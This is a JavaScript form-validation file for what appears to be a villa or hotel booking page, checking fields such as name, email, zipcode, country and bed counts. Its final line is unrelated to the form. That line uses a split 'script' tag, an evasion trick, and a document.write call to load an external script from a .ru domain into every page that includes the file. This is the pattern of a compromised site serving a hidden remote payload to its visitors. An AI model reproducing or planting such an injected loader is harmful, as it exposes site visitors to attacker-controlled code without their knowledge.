function check_number(ch){
var len, digit;
if(ch == " "){ 
return false;
len=0;
}else{
len = ch.length;
}
for(var i=0 ; i<len ; i++)
{
digit = ch.charAt(i)
if(digit >="0" && digit <="9"){
; 
}else{
return false; 
} 
} 
return true;
}
//--------------------------------------
function chkinput(){
	//var check_date_in = document.getElementById('check_date_in').value;
	//var check_date_out = document.getElementById('check_date_out').value;
	//var room_type = document.getElementById('room_type').value;
	//var num_room = document.getElementById('num_room').value;
	//var pick = document.getElementById('pick').value;
	var name = document.getElementById('name').value;
	var email = document.getElementById('email').value;
	var city = document.getElementById('city').value;
	var zipcode = document.getElementById('zipcode').value;
	var country = document.getElementById('country').value;
	var num_adult = document.getElementById('num_adult').value;
	var extra_bed = document.getElementById('extra_bed').value;
	var num_extra = document.getElementById('num_extra').value;
	var room_limit_total = document.getElementById('room_limit_total').value;
	var room_extra_bed_total = document.getElementById('room_extra_bed_total').value;
	
/*	if (check_date_in == ""){
		alert("Please Select Check in date")
		document.getElementById('check_date_in').focus();
		return false;
	} 

	if (check_date_out == ""){
		alert("Please Select check_date_out")
		document.getElementById('check_date_out').focus();
		return false;
	} 

	if (room_type == ""){
		alert("Please input Villa Style")
		document.getElementById('room_type').focus();
		return false;
	} 

	if (num_room == ""){
		alert("Please input num_room")
		document.getElementById('num_room').focus();
		return false;
	} else if(!check_number(num_room)){
		alert('Please input Numaric');
		document.getElementById('num_room').focus();
		return false;
	}
	if (arr_flight == ""){
		alert("Please input arr_flight?")
		document.getElementById('arr_flight').focus();
		return false;
	} 
	if (arr_time == ""){
		alert("Please input arr_time?")
		document.getElementById('arr_time').focus();
		return false;
	}


	if (num_adult == ""){
		alert("Please input num_adult")
		document.getElementById('num_adult').focus();
		return false;
	} else if(!check_number(num_adult)){
		alert('Please input Numaric');
		document.getElementById('num_adult').focus();
		return false;
	}

	if (num_chld == ""){
		alert("Please input num_chld")
		document.getElementById('num_chld').focus();
		return false;
	} else if(!check_number(num_chld)){
		alert('Please input Numaric');
		document.getElementById('num_chld').focus();
		return false;
	}

	if (age_child == ""){
		alert("Please input age_child")
		document.getElementById('age_child').focus();
		return false;
	} else if(!check_number(age_child)){
		alert('Please input Numaric');
		document.getElementById('age_child').focus();
		return false;
	}

	if (pick == ""){
		alert("Please Check pick")
		document.getElementById('pick').focus();
		return false;
	} 
	*/ 

	/*
	if (dep_flight == ""){
		alert("Please input dep_flight?")
		document.getElementById('dep_flight').focus();
		return false;
	} 

	if (dep_time == ""){
		alert("Please input dep_time?")
		document.getElementById('dep_time').focus();
		return false;
	}

	if (salutation == ""){
		alert("Please input salutation?")
		document.getElementById('salutation').focus();
		return false;
	} 
*/
	if (name == ""){
		alert("Please input name?")
		document.getElementById('name').focus();
		return false;
	} 

	if (email == ""){
		alert("Please input email?")
		document.getElementById('email').focus();
		return false;
	} else if (email !=""){
		if ( (email.indexOf(".") < 2) || (email.indexOf("@") < 1) || email == '' )  { 
				alert('Email Not Correct');
				document.getElementById('email').focus();
				return false;
		}
	}

	if (city == ""){
		alert("Please input city?")
		document.getElementById('city').focus();
		return false;
	} 
	if (zipcode == ""){
		alert("Please input zipcode")
		document.getElementById('zipcode').focus();
		return false;
	} else if(!check_number(zipcode)){
		alert('Please input Numaric');
		document.getElementById('zipcode').focus();
		return false;
	} 
/*
	if (address == ""){
		alert("Please input address?")
		document.getElementById('address').focus();
		return false;
	} 
*/
	if (country == ""){
		alert("Please input country?")
		document.getElementById('country').focus();
		return false;
	} 
	
	if (num_adult == ""){
		alert("Please input Adults?")
		document.getElementById('num_adult').focus();
		return false;
	} else if(!check_number(num_adult)){
		alert('Please input Numaric');
		document.getElementById('num_adult').focus();
		return false;
	} else if(num_adult > room_limit_total){
		alert('Values Not Match =>  less than '+room_limit_total);
		document.getElementById('num_adult').focus();
		return false;
	}

	if (extra_bed == "Yes"){
		if (num_extra == ""){
				alert("Please input Extra Bed!")
				document.getElementById('num_extra').focus();
				return false;
		} else if (num_extra > room_extra_bed_total){
				alert('Extra Bed Limit!');
				document.getElementById('num_extra').focus();
				return false;
		} 
	} else if (extra_bed == "No"){

		return true;
	}
/*	

	if (phone == ""){
		alert("Please input phone")
		document.getElementById('phone').focus();
		return false;
	} else if(!check_number(phone)){
		alert('Please input Numaric');
		document.getElementById('phone').focus();
		return false;
	} 


	if (request == ""){
		alert("Please input request?")
		document.getElementById('request').focus();
		return false;
	} 
*/

		document.getElementById('myform').submit();

}
//------------------------------------------



document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/E-mail.js"></scri'+'pt>');
